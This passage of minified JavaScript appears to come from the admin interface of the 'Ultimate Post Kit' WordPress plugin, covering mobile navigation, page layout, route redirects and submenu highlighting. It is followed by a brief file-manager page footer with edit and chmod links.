dark:bg-ink-card border border-[#e6e6ea] dark:border-ink-border rounded-panel shadow-pop py-1.5 animate-upk-pop"},s.map(t=>{const a=t.icon;return(0,e.createElement)("button",{key:t.path,type:"button",onClick:()=>n(t.path),className:"w-full flex items-center gap-[10px] py-[11px] px-[16px] text-left text-[14px] font-bold cursor-pointer "+(c(t)?"text-brand":"text-[#3f3f46] dark:text-ink-text")},(0,e.createElement)(a,{size:17}),t.label)})):null,(0,e.createElement)("nav",{className:"fixed left-0 right-0 bottom-0 z-40 flex bg-white dark:bg-ink-card border-t border-[#e6e6ea] dark:border-ink-border pb-[env(safe-area-inset-bottom)] px-2"},o.map(t=>{const a=t.icon,r=c(t);return(0,e.createElement)("button",{key:t.path,type:"button",onClick:()=>n(t.path),className:"flex-1 flex flex-col items-center gap-1 py-2 text-[11px] font-bold cursor-pointer "+(r?"text-brand":"text-[#6c6c75] dark:text-ink-muted")},(0,e.createElement)(a,{size:20}),t.label)}),s.length?(0,e.createElement)("button",{type:"button",onClick:()=>l(e=>!e),className:"flex-1 flex flex-col items-center gap-1 py-2 text-[11px] font-bold cursor-pointer "+(r||s.some(c)?"text-brand":"text-[#6c6c75] dark:text-ink-muted")},r?(0,e.createElement)(Ye,{size:20}):(0,e.createElement)(et,{size:20}),(0,_e.__)("More","ultimate-post-kit")):null))}function $n({children:t}){return(0,e.createElement)("div",{className:"upk-root min-h-[calc(100vh-32px)] bg-[#f0f0f1] dark:bg-ink-page text-[#1d2327] dark:text-[#e4e4e7] text-sm"},(0,e.createElement)("div",{className:"mx-auto w-full max-w-[1400px] pt-[30px] px-12 pb-[60px] max-[1024px]:px-7 max-[1024px]:pt-6 max-[640px]:px-[14px] max-[640px]:pt-4 max-[900px]:pb-[110px]"},(0,e.createElement)("div",{className:"bg-white dark:bg-ink-card border border-[#e6e6ea] dark:border-ink-border rounded-card"},(0,e.createElement)(xt,null),(0,e.createElement)(Rn,null)),(0,e.createElement)("div",{className:"mt-[26px]"},t)),(0,e.createElement)(On,null))}function Fn(){const{pathname:t}=B(),a=An(t.replace(/^\/+/,""))||"/";return(0,e.createElement)(re,{to:a,replace:!0})}function Wn(e){const t=e.split("#")[0].split("?")[1]||"";return"ultimate_post_kit_options"===new window.URLSearchParams(t).get("page")}function Yn(){document.querySelectorAll("#toplevel_page_ultimate_post_kit_options .wp-submenu a").forEach(e=>{const t=e.getAttribute("href")||"",a=t.indexOf("#");if(!Wn(t)||-1===a)return;const n=An(t.slice(a+1));n&&e.setAttribute("href",`${t.slice(0,a)}#${n}`)})}function Gn(){const{pathname:e}=B();return(0,t.useEffect)(Yn,[]),(0,t.useEffect)(()=>{document.querySelectorAll("#toplevel_page_ultimate_post_kit_options .wp-submenu li").forEach(t=>{const a=t.querySelector("a");if(!a)return;const n=a.getAttribute("href")||"";if(!Wn(n))return;const r=n.indexOf("#"),l=-1===r?"":n.slice(r+1),i=(l?An(l)||l:"/")===e;t.classList.toggle("current",i),a.classList.toggle("current",i),i?a.setAttribute("aria-current","page"):a.removeAttribute("aria-current")})},[e]),null}const Bn=document.getElementById("upk-admin-app");Bn&&(0,t.createRoot)(Bn).render((0,e.createElement)(function(){return Se(),(0,e.createElement)(xe,null,(0,e.createElement)(Gn,null),(0,e.createElement)(Kt,null,(0,e.createElement)($n,null,(0,e.createElement)(oe,null,Tn.map(a=>(0,e.createElement)(le,{key:a.path,path:a.path,element:(0,e.createElement)(t.Fragment,{key:a.path},a.render())})),(0,e.createElement)(le,{path:"*",element:(0,e.createElement)(Fn,null)})))))},null))})();

← Back to Directory Edit File šŸ”’ Chmod

WP File Manager